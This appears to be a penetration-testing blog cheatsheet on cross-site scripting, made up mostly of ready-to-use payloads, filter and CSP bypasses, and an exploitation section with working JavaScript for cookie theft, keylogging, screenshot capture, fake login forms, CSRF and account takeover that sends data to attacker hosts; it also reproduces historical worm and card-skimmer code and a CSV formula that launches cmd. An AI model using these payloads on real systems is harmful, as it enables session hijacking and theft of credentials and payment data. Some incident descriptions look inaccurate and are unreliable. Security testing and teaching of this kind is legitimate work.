XSS Cheatsheet: Cross-Site Scripting Payloads, Bypass & Exploitation | Tağmaç - root@Tagoletta:~#

XSS Cheatsheet: Cross-Site Scripting Payloads, Bypass & Exploitation

Thu May 28 2026

Category: Cheatsheet

Scope: Detection to exploitation for all XSS types. Covers HTML, attribute, JavaScript, URL, and CSS injection contexts with WAF bypass and CSP evasion.


Quick Detection Probes

<script>alert(1)</script>
<img src=x onerror=alert(1)>
"><script>alert(1)</script>
'><script>alert(1)</script>
javascript:alert(1)
<svg onload=alert(1)>
{{7*7}}
${7*7}

Use unique strings (e.g., xsstest123) to locate reflection point first, then build payload around the context.


HTML Context

<!-- Basic -->
<script>alert(document.domain)</script>
<script>alert(1)</script>
<script>confirm(1)</script>
<script>prompt(1)</script>

<!-- Without parentheses (WAF bypass) -->
<script>alert`1`</script>
<script>{onerror=alert}throw 1</script>
<script>throw onerror=alert,1</script>

<!-- Event handlers -->
<img src=x onerror=alert(1)>
<img src=x onerror="alert(document.cookie)">
<body onload=alert(1)>
<body onerror=alert(1)>
<input autofocus onfocus=alert(1)>
<input autofocus onblur=alert(1)>
<details open ontoggle=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<iframe src=x onerror=alert(1)>
<object data=x onerror=alert(1)>

<!-- SVG -->
<svg onload=alert(1)>
<svg><script>alert(1)</script></svg>
<svg><animate onbegin=alert(1) attributeName=x></svg>
<svg><set onbegin=alert(1) attributeName=x></svg>
<svg><animateTransform onbegin=alert(1) attributeName=transform></svg>
<math><mtext><table><mglyph><style><!--</style><img title="--><img src=x onerror=alert(1)>">

<!-- MathML -->
<math><mtext><script>alert(1)</script></mtext></math>

<!-- HTML5 tags -->
<marquee onstart=alert(1)>
<isindex type=image src=1 onerror=alert(1)>
<form><button formaction=javascript:alert(1)>click</button></form>
<keygen autofocus onfocus=alert(1)>

<!-- Data URIs -->
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
<object data="data:text/html,<script>alert(1)</script>"></object>

Attribute Context

Injection inside an HTML attribute value:

<!-- Breaking out of attribute -->
"><script>alert(1)</script>
"><img src=x onerror=alert(1)>
" autofocus onfocus="alert(1)
" onmouseover="alert(1)" x="

<!-- Inside href -->
javascript:alert(1)
javascript:alert(document.cookie)
JaVaScRiPt:alert(1)
java&#x09;script:alert(1)
java&#x0A;script:alert(1)
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)

<!-- Inside src/data -->
x" onerror="alert(1)
x onerror=alert(1)//

<!-- Inside style attribute -->
" style="animation-name:x" onanimationstart="alert(1)

JavaScript Context

Injection inside <script> tags or JS code:

// Breaking out of string
'-alert(1)-'
';alert(1)//
\';alert(1)//
</script><script>alert(1)</script>

// Breaking out of JS block
</script><img src=x onerror=alert(1)>

// Already in JS, no quotes needed
;alert(1)//
\n alert(1)//

// Template literals
`${alert(1)}`

// Tagged templates
alert`1`
String.fromCharCode(97,108,101,114,116,40,49,41)

// eval variations
eval('ale'+'rt(1)')
eval(atob('YWxlcnQoMSk='))
Function('alert(1)')()
setTimeout('alert(1)',0)
setInterval('alert(1)',0)

DOM-Based XSS

Sink-based injection — data flows from source to dangerous sink without server round-trip.

Common Sources:

document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location.href
location.hash
location.search
location.pathname
document.referrer
window.name
document.cookie
localStorage.getItem()
sessionStorage.getItem()

Dangerous Sinks:

// Code execution
eval()
setTimeout()
setInterval()
Function()
document.write()
document.writeln()
innerHTML
outerHTML
insertAdjacentHTML()

// URL-based
location.href = ...
location.assign()
location.replace()
window.open()

DOM XSS Payloads:

// fragment/hash-based
http://target.com/#<img src=x onerror=alert(1)>
http://target.com/#"><script>alert(1)</script>

// If app does: document.getElementById('x').innerHTML = location.hash.slice(1)
http://target.com/#<img src=x onerror=alert(1)>

// If app does: eval(location.hash.slice(1))
http://target.com/#alert(1)

// If app reads document.URL and sets innerHTML
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>

Blind XSS

Payload executes in a different context (admin panel, log viewer, email client, PDF generator):

<!-- Classic - calls back to your server -->
<script src="https://your-xss-catcher.com/xss.js"></script>
<img src=x onerror="fetch('https://your-xss-catcher.com/?c='+document.cookie)">
<script>new Image().src='https://your-xss-catcher.com/?cookie='+document.cookie</script>

<!-- XSS Hunter payload -->
"><script src=https://yoursubdomain.xss.ht></script>

<!-- Stealth with data exfil -->
<script>
fetch('https://your-server.com/?url='+btoa(location.href)
  +'&cookie='+btoa(document.cookie)
  +'&dom='+btoa(document.documentElement.innerHTML.substring(0,5000))
)
</script>

<!-- Form input fields -->
<img src=x onerror=this.src='https://your-server.com/?c='+document.cookie name="firstname">

<!-- Comment / review fields -->
'"><script>new Image().src="https://your-server.com/xss?c="+document.cookie</script>

<!-- User-agent / Referer header injection -->
User-Agent: <script>alert(1)</script>
Referer: "><script>alert(1)</script>

Filter Evasion

Tag/Keyword Bypass

<!-- Case variation -->
<ScRiPt>alert(1)</ScRiPt>
<SCRIPT>alert(1)</SCRIPT>
<sCrIpT>alert(1)</sCrIpT>

<!-- Null byte injection -->
<scr\x00ipt>alert(1)</scr\x00ipt>
<scr\x00ipt>alert(1)</script>

<!-- HTML entity encoding -->
<img src=x on&#101;rror=alert(1)>
<img src=x &#111;nerror=alert(1)>
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>

<!-- Unicode encoding -->
<img src=x onerror=alert(1)>
<script>alert(1)</script>

<!-- HTML5 entities -->
<img src=x onerror=&Tab;alert(1)>
<img src=x onerror=&NewLine;alert(1)>

<!-- Whitespace alternatives -->
<img/src=x/onerror=alert(1)>
<img	src=x	onerror=alert(1)>
<svg/onload=alert(1)>

<!-- Obfuscated event handlers -->
<img src=x OnError=alert(1)>
<img src=x oNerRoR=alert(1)>

<!-- Breaking the word "script" -->
<scr<script>ipt>alert(1)</scr</script>ipt>

Character Encoding

<!-- Hex encoding in attributes -->
<img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>

<!-- URL encoding (in href/src) -->
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert(1)">click</a>

<!-- Double URL encoding -->
%253Cscript%253Ealert(1)%253C%2Fscript%253E

<!-- Base64 -->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>

Alternative Sinks

<!-- When <script> is blocked -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onpageshow=alert(1)>
<details open ontoggle=alert(1)>
<video autoplay onloadstart=alert(1)><source>
<audio autoplay onloadstart=alert(1)><source>

<!-- When onerror/onload blocked -->
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<a href=x tabindex=1 onfocus=alert(1)>click</a>
<form id=x></form><button form=x formaction=javascript:alert(1)>

XSS Polyglots

Single payload that works in multiple contexts:

<!-- PortSwigger polyglot -->
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

<!-- Full polyglot -->
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id)>'"><img src="http://i.imgur.com/P8mL8.jpg">

<!-- Short polyglot -->
"><svg onload=alert(1)//
'><svg onload=alert(1)//

Exploitation

Cookie Theft

// Basic cookie grab
document.location='https://attacker.com/?c='+document.cookie
new Image().src='https://attacker.com/?c='+encodeURIComponent(document.cookie)
fetch('https://attacker.com/?c='+btoa(document.cookie))

// XMLHttpRequest
var x=new XMLHttpRequest();
x.open('GET','https://attacker.com/?c='+document.cookie,true);
x.send();

// Via fetch with full headers
fetch('https://attacker.com/steal',{
  method:'POST',
  body:JSON.stringify({
    cookie:document.cookie,
    url:location.href,
    ls:JSON.stringify(localStorage)
  })
})

Keylogger

document.onkeypress=function(e){
  fetch('https://attacker.com/?k='+encodeURIComponent(e.key));
}

Screenshot via html2canvas

var s=document.createElement('script');
s.src='https://html2canvas.hertzen.com/dist/html2canvas.min.js';
document.head.appendChild(s);
s.onload=function(){
  html2canvas(document.body).then(canvas=>{
    fetch('https://attacker.com/screenshot',{
      method:'POST',
      body:canvas.toDataURL()
    })
  })
}

DOM Manipulation (Phishing)

// Replace login form action
document.querySelector('form[action*="login"]').action='https://attacker.com/steal';

// Inject fake login form
document.body.innerHTML='<form action="https://attacker.com/steal" method="POST"><input name="u" placeholder="Username"><input name="p" type="password" placeholder="Password"><button>Login</button></form>';

CSRF via XSS

// GET-based CSRF
new Image().src='https://target.com/admin/delete-user?id=1';

// POST-based CSRF
var f=document.createElement('form');
f.action='https://target.com/admin/create-admin';
f.method='POST';
['username','password'].forEach((n,i)=>{
  var inp=document.createElement('input');
  inp.name=n;inp.value=['newadmin','Pass1!'][i];
  f.appendChild(inp);
});
document.body.appendChild(f);f.submit();

XSS to Account Takeover (via CSRF token grab)

fetch('/account/settings',{credentials:'include'})
  .then(r=>r.text())
  .then(html=>{
    var token=html.match(/csrf[_-]?token["\s]*[=:]["'\s]*([a-zA-Z0-9_-]+)/i)?.[1];
    if(token){
      fetch('/account/change-email',{
        method:'POST',
        credentials:'include',
        headers:{'Content-Type':'application/x-www-form-urlencoded'},
        body:'[email protected]&csrf_token='+token
      })
    }
  })

CSP Bypass

CSP Audit

# Check response headers
Content-Security-Policy: script-src 'self' https://trusted.cdn.com;

# Common weaknesses:
unsafe-inline   → inline scripts allowed
unsafe-eval     → eval() allowed
*               → wildcard (any domain)
data:           → data URIs allowed
http:           → any HTTP source

Bypass via Whitelisted CDNs

<!-- If AngularJS CDN is whitelisted -->
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.js"></script>
<div ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</div>

<!-- If jQuery CDN is whitelisted -->
<script src="https://code.jquery.com/jquery-3.6.0.js"></script>

<!-- JSONP endpoints on whitelisted domains -->
<script src="https://trusted.com/api?callback=alert(1)"></script>

Bypass via script-src 'nonce-...'

<!-- If nonce leaks in DOM or is predictable -->
<script nonce="leaked-nonce-value">alert(1)</script>

Bypass via unsafe-eval

<img src=x onerror="eval(atob('YWxlcnQoMSk='))">

Bypass via object/embed tags

<object data="data:text/html,<script>parent.alert(1)</script>"></object>
<embed src="data:text/html,<script>parent.alert(1)</script>">

Bypass via base-uri injection

<!-- If base-uri not restricted -->
<base href="https://attacker.com/">
<!-- Now all relative script src = attacker.com -->

Bypass via link prefetch

<link rel="prefetch" href="https://attacker.com/?c="+document.cookie>

XSS in JSON Responses

// If app returns JSON and page reflects it
Content-Type: text/html  (not application/json)

// Response:
{"name":"</script><script>alert(1)</script>"}

// Or if JSON parsed into DOM
{"name":"<img src=x onerror=alert(1)>"}

XSS in HTTP Headers

// Reflected in response page
Referer: "><script>alert(1)</script>
User-Agent: "><script>alert(1)</script>
X-Forwarded-For: "><script>alert(1)</script>
Origin: "><script>alert(1)</script>

XSS in File Upload

<!-- SVG file upload -->
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
  <rect width="100" height="100"/>
</svg>

<!-- HTML file disguised as image -->
GIF89a<script>alert(1)</script>

<!-- PDF with JavaScript (if rendered in browser) -->
<!-- Use PDF with /OpenAction JS action -->

<!-- CSV injection (not XSS but related) -->
=cmd|' /C calc'!A0
@SUM(1+1)*cmd|' /C calc'!A0

mXSS (Mutation XSS)

Browser HTML parser mutates sanitized input back into executable form:

<!-- Input after sanitizer: -->
<p>safe</p>

<!-- After browser mutation (innerHTML assignment): -->
<p><script>alert(1)</script></p>

<!-- Exploiting innerHTML mutation -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<listing><img src="</listing><img src=x onerror=alert(1)>">
<style><img src="</style><img src=x onerror=alert(1)>">

Tools

Tool Use Case
XSS Hunter Blind XSS capture (cookie, screenshot, DOM)
Dalfox Fast automated XSS scanner
XSStrike Intelligent XSS discovery
Burp Suite Manual testing, active scanner
kxss Find reflected params in URLs
# Dalfox
dalfox url "http://target.com/?q=1"
dalfox file urls.txt --blind https://your-callback.com

# XSStrike
python xsstrike.py -u "http://target.com/?q=test"

# kxss (pipe URLs to it)
echo "http://target.com/?q=1" | kxss
cat urls.txt | kxss

Real-World Examples

CVE / Incident Year Product Impact
CVE-2021-22159 2021 HumHub Social Network Stored XSS → admin account takeover
CVE-2022-26134 2022 Confluence Server (OGNL) XSS-like injection → RCE (related chain)
Samy Worm 2005 MySpace Stored XSS → first major self-replicating XSS worm (1M friends in 20h)
British Airways Breach 2018 BA Website Stored XSS via Magecart → 380K payment cards skimmed
eBay XSS 2014–2015 eBay Persistent XSS in listings → phishing at scale
Twitter XSS Worm 2010 Twitter DOM-based XSS → auto-retweet worm, 100K+ tweets in 1 hour
PayPal Stored XSS 2012 PayPal Business Stored XSS → account takeover, $2,500 bounty
Yahoo Mail Worm 2014 Yahoo Mail Stored XSS → credential harvesting via 0-day

CTF Machines

  • HTB: Templated — Flask/Jinja2 XSS + SSTI combo
  • HTB: Nightmare — Blind XSS → admin cookie steal → RCE chain
  • HTB: Forgot — Stored XSS in password reset flow
  • HTB: BroScience — XSS + CSRF chain in PHP app
  • OWASP WebGoat — XSS, CSP bypass, DOM-based XSS labs
  • PentesterLab: XSS and MySQL FILE — XSS to escalation

Bug Bounty Highlights

  • HackerOne — Uber (2016): Stored XSS in trip history → driver account takeover, $7,500
  • HackerOne — Twitter (2019): DOM XSS in embedded Tweet → user session compromise, $2,940
  • HackerOne — Automattic/WordPress (2018): Stored XSS in Gutenberg editor → author → admin via stored XSS

Example: Samy Worm (2005) — First Major XSS Worm

// Injected into MySpace profile (inline CSS trick to bypass filters)
// Condensed version of original payload:

<div id="mycode" style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')">
<span id="expr">
var B=String.fromCharCode(34);
var A=String.fromCharCode(39);
function g(){
  var C;
  try{var D=document.body.createTextRange();
    C=D.htmlText}
  catch(e){}
  if(C){return C}else{return eval('document.body.inne'+'rHTML')}}
function getData(AU){
  M=getFromURL('http://www.myspace.com/index.cfm?fuseaction=user.viewProfile&friendID='+AU,'Mytoken');
}
// Adds attacker as friend and replicates to victim's profile
</span></div>

Example: British Airways (2018) — Magecart Card Skimmer via XSS

// Attacker injected this script via third-party JS compromise on ba.com
// Script ran on checkout page and exfiltrated payment data

document.querySelector('#payment-form').addEventListener('submit', function() {
  var data = {
    name:    document.querySelector('[name=name]').value,
    card:    document.querySelector('[name=cardnumber]').value,
    cvv:     document.querySelector('[name=cvc]').value,
    expiry:  document.querySelector('[name=expiry]').value,
    email:   document.querySelector('[name=email]').value
  };
  fetch('https://baways.com/api', {  // typosquat domain
    method: 'POST',
    body: JSON.stringify(data)
  });
});

Example: HTB: Nightmare — Blind XSS → Admin Cookie

// Step 1: Inject in a form field visible only to admin
// Name field: "><script src="http://attacker.com/steal.js"></script>

// Step 2: steal.js (hosted on your server)
var i = new Image();
i.src = "http://attacker.com/log?c=" + encodeURIComponent(document.cookie)
      + "&u=" + encodeURIComponent(document.location);

// Step 3: Admin visits page, cookie sent to attacker
// GET /log?c=session=admin_token_here&u=http://target/admin

// Step 4: Use stolen cookie
curl -b "session=admin_token_here" http://target.htb/admin

Example: Uber Stored XSS (2016, $7,500)

# Vulnerable field: trip receipt "note" field
# Attacker books a trip, sets note to:
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">

# When Uber driver views trip details in their app → cookie exfiltrated
# Driver session cookie → driver account takeover

Defense Checklist

  • Encode output in the correct context (HTML, attribute, JS, URL, CSS)
  • Use Content-Security-Policy with restrictive directives (no unsafe-inline)
  • Set HttpOnly flag on session cookies
  • Set X-XSS-Protection: 1; mode=block (legacy, but still useful)
  • Use DOMPurify for sanitizing HTML before insertion into DOM
  • Avoid innerHTML, document.write(), eval() with user-controlled data
  • Apply Same-Site cookie attribute to prevent CSRF chaining

References